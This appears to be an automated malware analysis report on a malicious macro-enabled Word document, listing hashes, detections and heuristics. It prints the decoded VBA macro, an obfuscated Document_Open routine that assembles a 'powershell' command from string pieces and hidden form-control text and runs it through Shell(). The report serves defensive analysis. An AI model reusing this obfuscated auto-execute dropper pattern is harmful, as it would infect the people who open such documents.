Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 231da1a201d2f245…

MALICIOUS

Office (OLE)

266.0 KB Created: 2019-02-05 12:06:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 1dfb5280000ff054a774bed24979a943 SHA-1: df2d62cdbcbd4da534bfe4d560805a9a97f99f94 SHA-256: 231da1a201d2f2458a49d38586e446e27f9ad090b77e3f9e3555cf9010bc5489
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that are automatically executed upon opening the document via the Document_Open subroutine. The critical heuristic OLE_VBA_SHELL indicates a Shell() call within the VBA code, which is used to execute arbitrary commands. This functionality is likely used to download and execute a second-stage payload, making the document a malicious macro-enabled file.

Heuristics 6

  • ClamAV: Doc.Malware.Generic-6846286-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6846286-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1564 bytes
SHA-256: d71508bef5a442885b6881f218cbad0efcacf6e15a283d38e92ecab571ef0881
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()


Dim QzAny As Long
QzAny = (10403 - 10400) * (6)
Dim W4B6qxvew(15 To 187) As String
W4B6qxvew(15) = "iHycAPl3i"
Call w("er")
End Sub

Attribute VB_Name = "OAwga"
Sub w(bPYKkN)
Dim rcNVqzm5i As String
rcNVqzm5i = eomiR
j3dVQsq = "SHE" & "LL "
rwCSFVMcb = "ow"
dXZaMJDH = bPYKkN
Dim JkT9fG
JkT9fG = wtVsPgWhX
Dim tR5Xi4t(14 To 105) As String
tR5Xi4t(14) = "HzKI2"
xmYL1n6C tAHiP8eV() & rwCSFVMcb & dXZaMJDH & j3dVQsq & lUoDVhPF5
End Sub

Attribute VB_Name = "bsY9RhaJO"
Public Function tAHiP8eV() As String
tAHiP8eV = "p"
End Function
Function xmYL1n6C(tJUH0)
xmYL1n6C = Shell(tJUH0, False)
End Function

Attribute VB_Name = "mXBLJCKz"
Public Function lUoDVhPF5()
Dim PD8OBXE7 As String
PD8OBXE7 = baniFG
Dim tmZnC(5 To 177) As Long
tmZnC(5) = 9310 / 133
Dim Yez9Jr As Object
Set Yez9Jr = New f
Dim Ci8WA7J1K As String
Ci8WA7J1K = Yez9Jr.de.Text
lUoDVhPF5 = Ci8WA7J1K
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{9B792AC3-0C2F-4F38-AF26-6CE8A5368403}{D26881C2-0E74-4161-B166-F77EB769E5D8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False